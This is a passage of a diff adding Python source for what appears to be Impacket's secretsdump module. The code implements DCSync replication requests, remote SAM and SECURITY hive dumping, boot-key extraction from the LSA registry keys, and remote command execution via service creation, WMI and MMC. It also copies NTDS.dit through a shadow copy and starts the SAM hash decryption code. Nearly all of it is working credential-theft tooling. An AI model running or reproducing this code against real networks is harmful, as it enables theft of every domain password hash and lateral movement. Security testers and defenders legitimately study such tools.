+        drs['dwFlags'] = drsuapi.DRS_EXT_GETCHGREQ_V6 | drsuapi.DRS_EXT_GETCHGREPLY_V6 | drsuapi.DRS_EXT_GETCHGREQ_V8 | \
+                         drsuapi.DRS_EXT_STRONG_ENCRYPTION
+        drs['SiteObjGuid'] = drsuapi.NULLGUID
+        drs['Pid'] = 0
+        drs['dwReplEpoch'] = 0
+        drs['dwFlagsExt'] = 0
+        drs['ConfigObjGUID'] = drsuapi.NULLGUID
+        # I'm uber potential (c) Ben
+        drs['dwExtCaps'] = 0xffffffff
+        request['pextClient']['cb'] = len(drs)
+        request['pextClient']['rgb'] = list(drs.getData())
+        resp = self.__drsr.request(request)
+        if LOG.level == logging.DEBUG:
+            LOG.debug('DRSBind() answer')
+            resp.dump()
+
+        # Let's dig into the answer to check the dwReplEpoch. This field should match the one we send as part of
+        # DRSBind's DRS_EXTENSIONS_INT(). If not, it will fail later when trying to sync data.
+        drsExtensionsInt = drsuapi.DRS_EXTENSIONS_INT()
+
+        # If dwExtCaps is not included in the answer, let's just add it so we can unpack DRS_EXTENSIONS_INT right.
+        ppextServer = b''.join(resp['ppextServer']['rgb']) + b'\x00' * (
+        len(drsuapi.DRS_EXTENSIONS_INT()) - resp['ppextServer']['cb'])
+        drsExtensionsInt.fromString(ppextServer)
+
+        if drsExtensionsInt['dwReplEpoch'] != 0:
+            # Different epoch, we have to call DRSBind again
+            if LOG.level == logging.DEBUG:
+                LOG.debug("DC's dwReplEpoch != 0, setting it to %d and calling DRSBind again" % drsExtensionsInt[
+                    'dwReplEpoch'])
+            drs['dwReplEpoch'] = drsExtensionsInt['dwReplEpoch']
+            request['pextClient']['cb'] = len(drs)
+            request['pextClient']['rgb'] = list(drs.getData())
+            resp = self.__drsr.request(request)
+
+        self.__hDrs = resp['phDrs']
+
+        # Now let's get the NtdsDsaObjectGuid UUID to use when querying NCChanges
+        resp = drsuapi.hDRSDomainControllerInfo(self.__drsr, self.__hDrs, self.__domainName, 2)
+        if LOG.level == logging.DEBUG:
+            LOG.debug('DRSDomainControllerInfo() answer')
+            resp.dump()
+
+        if resp['pmsgOut']['V2']['cItems'] > 0:
+            self.__NtdsDsaObjectGuid = resp['pmsgOut']['V2']['rItems'][0]['NtdsDsaObjectGuid']
+        else:
+            LOG.error("Couldn't get DC info for domain %s" % self.__domainName)
+            raise Exception('Fatal, aborting')
+
+    def getDrsr(self):
+        return self.__drsr
+
+    def DRSCrackNames(self, formatOffered=drsuapi.DS_NAME_FORMAT.DS_DISPLAY_NAME,
+                      formatDesired=drsuapi.DS_NAME_FORMAT.DS_FQDN_1779_NAME, name=''):
+        if self.__drsr is None:
+            self.__connectDrds()
+
+        LOG.debug('Calling DRSCrackNames for %s ' % name)
+        resp = drsuapi.hDRSCrackNames(self.__drsr, self.__hDrs, 0, formatOffered, formatDesired, (name,))
+        return resp
+
+    def DRSGetNCChanges(self, userEntry):
+        if self.__drsr is None:
+            self.__connectDrds()
+
+        LOG.debug('Calling DRSGetNCChanges for %s ' % userEntry)
+        request = drsuapi.DRSGetNCChanges()
+        request['hDrs'] = self.__hDrs
+        request['dwInVersion'] = 8
+
+        request['pmsgIn']['tag'] = 8
+        request['pmsgIn']['V8']['uuidDsaObjDest'] = self.__NtdsDsaObjectGuid
+        request['pmsgIn']['V8']['uuidInvocIdSrc'] = self.__NtdsDsaObjectGuid
+
+        dsName = drsuapi.DSNAME()
+        dsName['SidLen'] = 0
+        dsName['Guid'] = string_to_bin(userEntry[1:-1])
+        dsName['Sid'] = ''
+        dsName['NameLen'] = 0
+        dsName['StringName'] = ('\x00')
+
+        dsName['structLen'] = len(dsName.getData())
+
+        request['pmsgIn']['V8']['pNC'] = dsName
+
+        request['pmsgIn']['V8']['usnvecFrom']['usnHighObjUpdate'] = 0
+        request['pmsgIn']['V8']['usnvecFrom']['usnHighPropUpdate'] = 0
+
+        request['pmsgIn']['V8']['pUpToDateVecDest'] = NULL
+
+        request['pmsgIn']['V8']['ulFlags'] =  drsuapi.DRS_INIT_SYNC | drsuapi.DRS_WRIT_REP
+        request['pmsgIn']['V8']['cMaxObjects'] = 1
+        request['pmsgIn']['V8']['cMaxBytes'] = 0
+        request['pmsgIn']['V8']['ulExtendedOp'] = drsuapi.EXOP_REPL_OBJ
+        if self.__ppartialAttrSet is None:
+            self.__prefixTable = []
+            self.__ppartialAttrSet = drsuapi.PARTIAL_ATTR_VECTOR_V1_EXT()
+            self.__ppartialAttrSet['dwVersion'] = 1
+            self.__ppartialAttrSet['cAttrs'] = len(NTDSHashes.ATTRTYP_TO_ATTID)
+            for attId in list(NTDSHashes.ATTRTYP_TO_ATTID.values()):
+                self.__ppartialAttrSet['rgPartialAttr'].append(drsuapi.MakeAttid(self.__prefixTable , attId))
+        request['pmsgIn']['V8']['pPartialAttrSet'] = self.__ppartialAttrSet
+        request['pmsgIn']['V8']['PrefixTableDest']['PrefixCount'] = len(self.__prefixTable)
+        request['pmsgIn']['V8']['PrefixTableDest']['pPrefixEntry'] = self.__prefixTable
+        request['pmsgIn']['V8']['pPartialAttrSetEx1'] = NULL
+
+        return self.__drsr.request(request)
+
+    def getDomainUsers(self, enumerationContext=0):
+        if self.__samr is None:
+            self.connectSamr(self.getMachineNameAndDomain()[1])
+
+        try:
+            resp = samr.hSamrEnumerateUsersInDomain(self.__samr, self.__domainHandle,
+                                                    userAccountControl=samr.USER_NORMAL_ACCOUNT | \
+                                                                       samr.USER_WORKSTATION_TRUST_ACCOUNT | \
+                                                                       samr.USER_SERVER_TRUST_ACCOUNT |\
+                                                                       samr.USER_INTERDOMAIN_TRUST_ACCOUNT,
+                                                    enumerationContext=enumerationContext)
+        except DCERPCException as e:
+            if str(e).find('STATUS_MORE_ENTRIES') < 0:
+                raise
+            resp = e.get_packet()
+        return resp
+
+    def getGroupsInDomain(self):
+        try:
+            resp = samr.hSamrEnumerateGroupsInDomain(self.__samr, self.__domainHandle)
+        except DCERPCException as e:
+            if str(e).find('STATUS_MORE_ENTRIES') < 0:
+                raise
+            resp = e.get_packet()
+        return resp
+
+    def getAliasesInDomain(self):
+        try:
+            resp = samr.hSamrEnumerateAliasesInDomain(self.__samr, self.__domainHandle)
+        except DCERPCException as e:
+            if str(e).find('STATUS_MORE_ENTRIES') < 0:
+                raise
+            resp = e.get_packet()
+        return resp
+
+    def getMembersInGroup(self, rid):
+        ans = samr.hSamrOpenGroup(self.__samr, self.__domainHandle, groupId=rid)
+        resp = samr.hSamrGetMembersInGroup(self.__samr, ans['GroupHandle'])
+
+        return resp
+
+    def getMembersInAlias(self, rid):
+        ans = samr.hSamrOpenAlias(self.__samr, self.__domainHandle, aliasId=rid)
+        resp = samr.hSamrGetMembersInAlias(self.__samr, ans['AliasHandle'])
+
+        return resp
+
+    def getDomainSid(self):
+        if self.__domainSid is not None:
+            return self.__domainSid
+
+        if self.__samr is None:
+            self.connectSamr(self.getMachineNameAndDomain()[1])
+
+        return self.__domainSid
+
+    def getMachineKerberosSalt(self):
+        """
+        Returns Kerberos salt for the current connection if
+        we have the correct information
+        """
+        if self.__smbConnection.getServerName() == '':
+            # Todo: figure out an RPC call that gives us the domain FQDN
+            # instead of the NETBIOS name as NetrWkstaGetInfo does
+            return b''
+        else:
+            host = self.__smbConnection.getServerName()
+            domain = self.__smbConnection.getServerDNSDomainName()
+            salt = b'%shost%s.%s' % (domain.upper().encode('utf-8'), host.lower().encode('utf-8'), domain.lower().encode('utf-8'))
+            return salt
+
+    def getMachineNameAndDomain(self):
+        if self.__smbConnection.getServerName() == '':
+            # No serverName.. this is either because we're doing Kerberos
+            # or not receiving that data during the login process.
+            # Let's try getting it through RPC
+            rpc = transport.DCERPCTransportFactory(r'ncacn_np:445[\pipe\wkssvc]')
+            rpc.set_smb_connection(self.__smbConnection)
+            dce = rpc.get_dce_rpc()
+            dce.connect()
+            dce.bind(wkst.MSRPC_UUID_WKST)
+            resp = wkst.hNetrWkstaGetInfo(dce, 100)
+            dce.disconnect()
+            return resp['WkstaInfo']['WkstaInfo100']['wki100_computername'][:-1], resp['WkstaInfo']['WkstaInfo100'][
+                                                                                      'wki100_langroup'][:-1]
+        else:
+            return self.__smbConnection.getServerName(), self.__smbConnection.getServerDomain()
+
+    def getDNSDomain(self):
+        if self.__smbConnection.getServerDNSDomainName() == '':
+            # Todo: figure out an RPC call that gives us the domain FQDN
+            # instead of the NETBIOS name as NetrWkstaGetInfo does
+            return b''
+        else:
+            return self.__smbConnection.getServerDNSDomainName()
+
+    def getDefaultLoginAccount(self):
+        try:
+            ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon')
+            keyHandle = ans['phkResult']
+            dataType, dataValue = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'DefaultUserName')
+            username = dataValue[:-1]
+            dataType, dataValue = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'DefaultDomainName')
+            domain = dataValue[:-1]
+            rrp.hBaseRegCloseKey(self.__rrp, keyHandle)
+            if len(domain) > 0:
+                return '%s\\%s' % (domain,username)
+            else:
+                return username
+        except:
+            return None
+
+    def getServiceAccount(self, serviceName):
+        try:
+            # Open the service
+            ans = scmr.hROpenServiceW(self.__scmr, self.__scManagerHandle, serviceName)
+            serviceHandle = ans['lpServiceHandle']
+            resp = scmr.hRQueryServiceConfigW(self.__scmr, serviceHandle)
+            account = resp['lpServiceConfig']['lpServiceStartName'][:-1]
+            scmr.hRCloseServiceHandle(self.__scmr, serviceHandle)
+            if account.startswith('.\\'):
+                account = account[2:]
+            return account
+        except Exception as e:
+            # Don't log if history service is not found, that should be normal
+            if serviceName.endswith("_history") is False:
+                LOG.error(e)
+            return None
+
+    def __checkServiceStatus(self):
+        # Open SC Manager
+        ans = scmr.hROpenSCManagerW(self.__scmr)
+        self.__scManagerHandle = ans['lpScHandle']
+        # Now let's open the service
+        ans = scmr.hROpenServiceW(self.__scmr, self.__scManagerHandle, self.__serviceName)
+        self.__serviceHandle = ans['lpServiceHandle']
+        # Let's check its status
+        ans = scmr.hRQueryServiceStatus(self.__scmr, self.__serviceHandle)
+        if ans['lpServiceStatus']['dwCurrentState'] == scmr.SERVICE_STOPPED:
+            LOG.info('Service %s is in stopped state'% self.__serviceName)
+            self.__shouldStop = True
+            self.__started = False
+        elif ans['lpServiceStatus']['dwCurrentState'] == scmr.SERVICE_RUNNING:
+            LOG.debug('Service %s is already running'% self.__serviceName)
+            self.__shouldStop = False
+            self.__started  = True
+        else:
+            raise Exception('Unknown service state 0x%x - Aborting' % ans['CurrentState'])
+
+        # Let's check its configuration if service is stopped, maybe it's disabled :s
+        if self.__started is False:
+            ans = scmr.hRQueryServiceConfigW(self.__scmr,self.__serviceHandle)
+            if ans['lpServiceConfig']['dwStartType'] == 0x4:
+                LOG.info('Service %s is disabled, enabling it'% self.__serviceName)
+                self.__disabled = True
+                scmr.hRChangeServiceConfigW(self.__scmr, self.__serviceHandle, dwStartType = 0x3)
+            LOG.info('Starting service %s' % self.__serviceName)
+            scmr.hRStartServiceW(self.__scmr,self.__serviceHandle)
+            time.sleep(1)
+
+    def enableRegistry(self):
+        self.__connectSvcCtl()
+        self.__checkServiceStatus()
+        self.__connectWinReg()
+
+    def __restore(self):
+        # First of all stop the service if it was originally stopped
+        if self.__shouldStop is True:
+            LOG.info('Stopping service %s' % self.__serviceName)
+            scmr.hRControlService(self.__scmr, self.__serviceHandle, scmr.SERVICE_CONTROL_STOP)
+        if self.__disabled is True:
+            LOG.info('Restoring the disabled state for service %s' % self.__serviceName)
+            scmr.hRChangeServiceConfigW(self.__scmr, self.__serviceHandle, dwStartType = 0x4)
+        if self.__serviceDeleted is False and self.__tmpServiceName is not None:
+            # Check again the service we created does not exist, starting a new connection
+            # Why?.. Hitting CTRL+C might break the whole existing DCE connection
+            try:
+                rpc = transport.DCERPCTransportFactory(r'ncacn_np:%s[\pipe\svcctl]' % self.__smbConnection.getRemoteHost())
+                if hasattr(rpc, 'set_credentials'):
+                    # This method exists only for selected protocol sequences.
+                    rpc.set_credentials(*self.__smbConnection.getCredentials())
+                    rpc.set_kerberos(self.__doKerberos, self.__kdcHost)
+                self.__scmr = rpc.get_dce_rpc()
+                self.__scmr.connect()
+                self.__scmr.bind(scmr.MSRPC_UUID_SCMR)
+                # Open SC Manager
+                ans = scmr.hROpenSCManagerW(self.__scmr)
+                self.__scManagerHandle = ans['lpScHandle']
+                # Now let's open the service
+                resp = scmr.hROpenServiceW(self.__scmr, self.__scManagerHandle, self.__tmpServiceName)
+                service = resp['lpServiceHandle']
+                scmr.hRDeleteService(self.__scmr, service)
+                scmr.hRControlService(self.__scmr, service, scmr.SERVICE_CONTROL_STOP)
+                scmr.hRCloseServiceHandle(self.__scmr, service)
+                scmr.hRCloseServiceHandle(self.__scmr, self.__serviceHandle)
+                scmr.hRCloseServiceHandle(self.__scmr, self.__scManagerHandle)
+                rpc.disconnect()
+            except Exception as e:
+                # If service is stopped it'll trigger an exception
+                # If service does not exist it'll trigger an exception
+                # So. we just wanna be sure we delete it, no need to
+                # show this exception message
+                pass
+
+    def finish(self):
+        self.__restore()
+        if self.__rrp is not None:
+            self.__rrp.disconnect()
+        if self.__drsr is not None:
+            self.__drsr.disconnect()
+        if self.__samr is not None:
+            self.__samr.disconnect()
+        if self.__scmr is not None:
+            try:
+                self.__scmr.disconnect()
+            except Exception as e:
+                if str(e).find('STATUS_INVALID_PARAMETER') >=0:
+                    pass
+                else:
+                    raise
+
+    def getBootKey(self):
+        bootKey = b''
+        ans = rrp.hOpenLocalMachine(self.__rrp)
+        self.__regHandle = ans['phKey']
+        for key in ['JD','Skew1','GBG','Data']:
+            LOG.debug('Retrieving class info for %s'% key)
+            ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SYSTEM\\CurrentControlSet\\Control\\Lsa\\%s' % key)
+            keyHandle = ans['phkResult']
+            ans = rrp.hBaseRegQueryInfoKey(self.__rrp,keyHandle)
+            bootKey = bootKey + b(ans['lpClassOut'][:-1])
+            rrp.hBaseRegCloseKey(self.__rrp, keyHandle)
+
+        transforms = [ 8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7 ]
+
+        bootKey = unhexlify(bootKey)
+
+        for i in range(len(bootKey)):
+            self.__bootKey += bootKey[transforms[i]:transforms[i]+1]
+
+        LOG.info('Target system bootKey: 0x%s' % hexlify(self.__bootKey).decode('utf-8'))
+
+        return self.__bootKey
+
+    def checkNoLMHashPolicy(self):
+        LOG.debug('Checking NoLMHash Policy')
+        ans = rrp.hOpenLocalMachine(self.__rrp)
+        self.__regHandle = ans['phKey']
+
+        ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SYSTEM\\CurrentControlSet\\Control\\Lsa')
+        keyHandle = ans['phkResult']
+        try:
+            dataType, noLMHash = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'NoLmHash')
+        except:
+            noLMHash = 0
+
+        if noLMHash != 1:
+            LOG.debug('LMHashes are being stored')
+            return False
+
+        LOG.debug('LMHashes are NOT being stored')
+        return True
+
+    def __retrieveHive(self, hiveName):
+        tmpFileName = ''.join([random.choice(string.ascii_letters) for _ in range(8)]) + '.tmp'
+        ans = rrp.hOpenLocalMachine(self.__rrp)
+        regHandle = ans['phKey']
+        try:
+            ans = rrp.hBaseRegCreateKey(self.__rrp, regHandle, hiveName)
+        except:
+            raise Exception("Can't open %s hive" % hiveName)
+        keyHandle = ans['phkResult']
+        rrp.hBaseRegSaveKey(self.__rrp, keyHandle, tmpFileName)
+        rrp.hBaseRegCloseKey(self.__rrp, keyHandle)
+        rrp.hBaseRegCloseKey(self.__rrp, regHandle)
+        # Now let's open the remote file, so it can be read later
+        remoteFileName = RemoteFile(self.__smbConnection, 'SYSTEM32\\'+tmpFileName)
+        return remoteFileName
+
+    def saveSAM(self):
+        LOG.debug('Saving remote SAM database')
+        return self.__retrieveHive('SAM')
+
+    def saveSECURITY(self):
+        LOG.debug('Saving remote SECURITY database')
+        return self.__retrieveHive('SECURITY')
+
+    def __smbExec(self, command):
+        self.__serviceDeleted = False
+        resp = scmr.hRCreateServiceW(self.__scmr, self.__scManagerHandle, self.__tmpServiceName, self.__tmpServiceName,
+                                     lpBinaryPathName=command)
+        service = resp['lpServiceHandle']
+        try:
+            scmr.hRStartServiceW(self.__scmr, service)
+        except:
+            pass
+        scmr.hRDeleteService(self.__scmr, service)
+        self.__serviceDeleted = True
+        scmr.hRCloseServiceHandle(self.__scmr, service)
+
+    def __getInterface(self, interface, resp):
+        # Now let's parse the answer and build an Interface instance
+        objRefType = OBJREF(b''.join(resp))['flags']
+        objRef = None
+        if objRefType == FLAGS_OBJREF_CUSTOM:
+            objRef = OBJREF_CUSTOM(b''.join(resp))
+        elif objRefType == FLAGS_OBJREF_HANDLER:
+            objRef = OBJREF_HANDLER(b''.join(resp))
+        elif objRefType == FLAGS_OBJREF_STANDARD:
+            objRef = OBJREF_STANDARD(b''.join(resp))
+        elif objRefType == FLAGS_OBJREF_EXTENDED:
+            objRef = OBJREF_EXTENDED(b''.join(resp))
+        else:
+            logging.error("Unknown OBJREF Type! 0x%x" % objRefType)
+
+        return IRemUnknown2(
+            INTERFACE(interface.get_cinstance(), None, interface.get_ipidRemUnknown(), objRef['std']['ipid'],
+                      oxid=objRef['std']['oxid'], oid=objRef['std']['oxid'],
+                      target=interface.get_target()))
+
+    def __mmcExec(self,command):
+        command = command.replace('%COMSPEC%', 'c:\\windows\\system32\\cmd.exe')
+        username, password, domain, lmhash, nthash, aesKey, _, _ = self.__smbConnection.getCredentials()
+        dcom = DCOMConnection(self.__smbConnection.getRemoteHost(), username, password, domain, lmhash, nthash, aesKey,
+                              oxidResolver=False, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost)
+        iInterface = dcom.CoCreateInstanceEx(string_to_bin('49B2791A-B1AE-4C90-9B8E-E860BA07F889'), IID_IDispatch)
+        iMMC = IDispatch(iInterface)
+
+        resp = iMMC.GetIDsOfNames(('Document',))
+
+        dispParams = DISPPARAMS(None, False)
+        dispParams['rgvarg'] = NULL
+        dispParams['rgdispidNamedArgs'] = NULL
+        dispParams['cArgs'] = 0
+        dispParams['cNamedArgs'] = 0
+        resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], [])
+
+        iDocument = IDispatch(self.__getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData']))
+        resp = iDocument.GetIDsOfNames(('ActiveView',))
+        resp = iDocument.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], [])
+
+        iActiveView = IDispatch(self.__getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData']))
+        pExecuteShellCommand = iActiveView.GetIDsOfNames(('ExecuteShellCommand',))[0]
+
+        pQuit = iMMC.GetIDsOfNames(('Quit',))[0]
+
+        dispParams = DISPPARAMS(None, False)
+        dispParams['rgdispidNamedArgs'] = NULL
+        dispParams['cArgs'] = 4
+        dispParams['cNamedArgs'] = 0
+        arg0 = VARIANT(None, False)
+        arg0['clSize'] = 5
+        arg0['vt'] = VARENUM.VT_BSTR
+        arg0['_varUnion']['tag'] = VARENUM.VT_BSTR
+        arg0['_varUnion']['bstrVal']['asData'] = 'c:\\windows\\system32\\cmd.exe'
+
+        arg1 = VARIANT(None, False)
+        arg1['clSize'] = 5
+        arg1['vt'] = VARENUM.VT_BSTR
+        arg1['_varUnion']['tag'] = VARENUM.VT_BSTR
+        arg1['_varUnion']['bstrVal']['asData'] = 'c:\\'
+
+        arg2 = VARIANT(None, False)
+        arg2['clSize'] = 5
+        arg2['vt'] = VARENUM.VT_BSTR
+        arg2['_varUnion']['tag'] = VARENUM.VT_BSTR
+        arg2['_varUnion']['bstrVal']['asData'] = command[len('c:\\windows\\system32\\cmd.exe'):]
+
+        arg3 = VARIANT(None, False)
+        arg3['clSize'] = 5
+        arg3['vt'] = VARENUM.VT_BSTR
+        arg3['_varUnion']['tag'] = VARENUM.VT_BSTR
+        arg3['_varUnion']['bstrVal']['asData'] = '7'
+        dispParams['rgvarg'].append(arg3)
+        dispParams['rgvarg'].append(arg2)
+        dispParams['rgvarg'].append(arg1)
+        dispParams['rgvarg'].append(arg0)
+
+        iActiveView.Invoke(pExecuteShellCommand, 0x409, DISPATCH_METHOD, dispParams, 0, [], [])
+
+        dispParams = DISPPARAMS(None, False)
+        dispParams['rgvarg'] = NULL
+        dispParams['rgdispidNamedArgs'] = NULL
+        dispParams['cArgs'] = 0
+        dispParams['cNamedArgs'] = 0
+
+        iMMC.Invoke(pQuit, 0x409, DISPATCH_METHOD, dispParams, 0, [], [])
+
+
+    def __wmiExec(self, command):
+        # Convert command to wmi exec friendly format
+        command = command.replace('%COMSPEC%', 'cmd.exe')
+        username, password, domain, lmhash, nthash, aesKey, _, _ = self.__smbConnection.getCredentials()
+        dcom = DCOMConnection(self.__smbConnection.getRemoteHost(), username, password, domain, lmhash, nthash, aesKey,
+                              oxidResolver=False, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost)
+        iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login)
+        iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
+        iWbemServices= iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL)
+        iWbemLevel1Login.RemRelease()
+
+        win32Process,_ = iWbemServices.GetObject('Win32_Process')
+        win32Process.Create(command, '\\', None)
+
+        dcom.disconnect()
+
+    def __executeRemote(self, data):
+        self.__tmpServiceName = ''.join([random.choice(string.ascii_letters) for _ in range(8)])
+        command = self.__shell + 'echo ' + data + ' ^> ' + self.__output + ' > ' + self.__batchFile + ' & ' + \
+                  self.__shell + self.__batchFile
+        command += ' & ' + 'del ' + self.__batchFile
+
+        LOG.debug('ExecuteRemote command: %s' % command)
+        if self.__execMethod == 'smbexec':
+            self.__smbExec(command)
+        elif self.__execMethod == 'wmiexec':
+            self.__wmiExec(command)
+        elif self.__execMethod == 'mmcexec':
+            self.__mmcExec(command)
+        else:
+            raise Exception('Invalid exec method %s, aborting' % self.__execMethod)
+
+
+    def __answer(self, data):
+        self.__answerTMP += data
+
+    def __getLastVSS(self, forDrive=None):
+        if forDrive:
+            command = '%COMSPEC% /C vssadmin list shadows /for=' + forDrive
+        else:
+            command = '%COMSPEC% /C vssadmin list shadows'
+        self.__executeRemote(command)
+        time.sleep(5)
+        tries = 0
+        while True:
+            try:
+                self.__smbConnection.getFile('ADMIN$', 'Temp\\__output', self.__answer)
+                break
+            except Exception as e:
+                if tries > 30:
+                    # We give up
+                    raise Exception('Too many tries trying to list vss shadows')
+                if str(e).find('SHARING') > 0:
+                    # Stuff didn't finish yet.. wait more
+                    time.sleep(5)
+                    tries +=1
+                    pass
+                else:
+                    raise
+
+        lines = self.__answerTMP.split(b'\n')
+        lastShadow = b''
+        lastShadowFor = b''
+        lastShadowId = b''
+
+        # Let's find the last one
+        # The string used to search the shadow for drive. Wondering what happens
+        # in other languages
+        SHADOWFOR = b'Volume: ('
+        IDSTART = b'Shadow Copy ID: {'
+        IDLEN=len('3547017b-0ac9-478b-88e6-f9be7e1c11999')
+
+        for line in lines:
+           if line.find(b'GLOBALROOT') > 0:
+               lastShadow = line[line.find(b'\\\\?'):][:-1]
+           elif line.find(SHADOWFOR) > 0:
+               lastShadowFor = line[line.find(SHADOWFOR)+len(SHADOWFOR):][:2]
+           elif line.find(IDSTART) > 0:
+               lastShadowId = line[line.find(IDSTART)+len(IDSTART):][:IDLEN-1]
+
+        self.__smbConnection.deleteFile('ADMIN$', 'Temp\\__output')
+
+        LOG.debug('__getLastVSS found last VSS %s on %s with ID of %s' % (lastShadow.decode('utf-8'), lastShadowFor.decode('utf-8'), lastShadowId.decode('utf-8')))
+
+        return lastShadow.decode('utf-8'), lastShadowFor.decode('utf-8'), lastShadowId.decode('utf-8')
+
+    def saveNTDS(self):
+        LOG.info('Searching for NTDS.dit')
+        # First of all, let's try to read the target NTDS.dit registry entry
+        try:
+            ans = rrp.hOpenLocalMachine(self.__rrp)
+            regHandle = ans['phKey']
+        except:
+            # Can't open the root key
+            return None
+
+        try:
+            ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SYSTEM\\CurrentControlSet\\Services\\NTDS\\Parameters')
+            keyHandle = ans['phkResult']
+        except:
+            # Can't open the registry path, assuming no NTDS on the other end
+            return None
+
+        try:
+            dataType, dataValue = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'DSA Database file')
+            ntdsLocation = dataValue[:-1]
+            ntdsDrive = ntdsLocation[:2]
+        except:
+            # Can't open the registry path, assuming no NTDS on the other end
+            return None
+
+        rrp.hBaseRegCloseKey(self.__rrp, keyHandle)
+        rrp.hBaseRegCloseKey(self.__rrp, regHandle)
+
+        LOG.info('Registry says NTDS.dit is at %s. Calling vssadmin to get a copy. This might take some time' % ntdsLocation)
+        LOG.info('Using %s method for remote execution' % self.__execMethod)
+        # Get the list of remote shadows
+        shadow, shadowFor, shadowId = self.__getLastVSS(forDrive=ntdsDrive)
+        if shadow == '' or (shadow != '' and shadowFor != ntdsDrive):
+            # No shadow, create one
+            self.__executeRemote('%%COMSPEC%% /C vssadmin create shadow /For=%s' % ntdsDrive)
+            shadow, shadowFor, shadowId = self.__getLastVSS(forDrive=ntdsDrive)
+            shouldRemove = True
+            if shadow == '' or shadowFor != ntdsDrive:
+                raise Exception('Could not get a VSS')
+        else:
+            # There was already a shadow, let's not delete this
+            shouldRemove = False
+
+        # Now copy the ntds.dit to the temp directory
+        tmpFileName = ''.join([random.choice(string.ascii_letters) for _ in range(8)]) + '.tmp'
+
+        self.__executeRemote('%%COMSPEC%% /C copy %s%s %%SYSTEMROOT%%\\Temp\\%s' % (shadow, ntdsLocation[2:], tmpFileName))
+
+        if shouldRemove is True:
+            LOG.debug('Trying to delete shadow copy using command : %%COMSPEC%% /C vssadmin delete shadows /shadow="{%s}" /Quiet' % shadowId)
+            self.__executeRemote('%%COMSPEC%% /C vssadmin delete shadows /shadow="{%s}" /Quiet' % shadowId)
+
+
+        tries = 0
+        while True:
+            try:
+                self.__smbConnection.deleteFile('ADMIN$', 'Temp\\__output')
+                break
+            except Exception as e:
+                if tries >= 30:
+                    raise e
+                if str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >= 0 or str(e).find('STATUS_SHARING_VIOLATION') >=0:
+                    tries += 1
+                    time.sleep(5)
+                    pass
+                else:
+                    logging.error('Cannot delete target file \\\\%s\\ADMIN$\\Temp\\__output: %s' % (self.__smbConnection.getRemoteHost(), str(e)))
+                    pass
+
+        remoteFileName = RemoteFile(self.__smbConnection, 'Temp\\%s' % tmpFileName)
+
+        return remoteFileName
+
+class CryptoCommon:
+    # Common crypto stuff used over different classes
+    def deriveKey(self, baseKey):
+        # 2.2.11.1.3 Deriving Key1 and Key2 from a Little-Endian, Unsigned Integer Key
+        # Let I be the little-endian, unsigned integer.
+        # Let I[X] be the Xth byte of I, where I is interpreted as a zero-base-index array of bytes.
+        # Note that because I is in little-endian byte order, I[0] is the least significant byte.
+        # Key1 is a concatenation of the following values: I[0], I[1], I[2], I[3], I[0], I[1], I[2].
+        # Key2 is a concatenation of the following values: I[3], I[0], I[1], I[2], I[3], I[0], I[1]
+        key = pack('<L',baseKey)
+        key1 = [key[0] , key[1] , key[2] , key[3] , key[0] , key[1] , key[2]]
+        key2 = [key[3] , key[0] , key[1] , key[2] , key[3] , key[0] , key[1]]
+        if PY2:
+            return transformKey(b''.join(key1)),transformKey(b''.join(key2))
+        else:
+            return transformKey(bytes(key1)),transformKey(bytes(key2))
+
+    @staticmethod
+    def decryptAES(key, value, iv=b'\x00'*16):
+        plainText = b''
+        if iv != b'\x00'*16:
+            aes256 = AES.new(key,AES.MODE_CBC, iv)
+
+        for index in range(0, len(value), 16):
+            if iv == b'\x00'*16:
+                aes256 = AES.new(key,AES.MODE_CBC, iv)
+            cipherBuffer = value[index:index+16]
+            # Pad buffer to 16 bytes
+            if len(cipherBuffer) < 16:
+                cipherBuffer += b'\x00' * (16-len(cipherBuffer))
+            plainText += aes256.decrypt(cipherBuffer)
+
+        return plainText
+
+
+class OfflineRegistry:
+    def __init__(self, hiveFile = None, isRemote = False):
+        self.__hiveFile = hiveFile
+        if self.__hiveFile is not None:
+            self.__registryHive = winregistry.Registry(self.__hiveFile, isRemote)
+
+    def enumKey(self, searchKey):
+        parentKey = self.__registryHive.findKey(searchKey)
+
+        if parentKey is None:
+            return
+
+        keys = self.__registryHive.enumKey(parentKey)
+
+        return keys
+
+    def enumValues(self, searchKey):
+        key = self.__registryHive.findKey(searchKey)
+
+        if key is None:
+            return
+
+        values = self.__registryHive.enumValues(key)
+
+        return values
+
+    def getValue(self, keyValue):
+        value = self.__registryHive.getValue(keyValue)
+
+        if value is None:
+            return
+
+        return value
+
+    def getClass(self, className):
+        value = self.__registryHive.getClass(className)
+
+        if value is None:
+            return
+
+        return value
+
+    def finish(self):
+        if self.__hiveFile is not None:
+            # Remove temp file and whatever else is needed
+            self.__registryHive.close()
+
+class SAMHashes(OfflineRegistry):
+    def __init__(self, samFile, bootKey, isRemote = False, perSecretCallback = lambda secret: _print_helper(secret)):
+        OfflineRegistry.__init__(self, samFile, isRemote)
+        self.__samFile = samFile
+        self.__hashedBootKey = b''
+        self.__bootKey = bootKey
+        self.__cryptoCommon = CryptoCommon()
+        self.__itemsFound = {}
+        self.__perSecretCallback = perSecretCallback
+
+    def MD5(self, data):
+        md5 = hashlib.new('md5')
+        md5.update(data)
+        return md5.digest()
+
+    def getHBootKey(self):
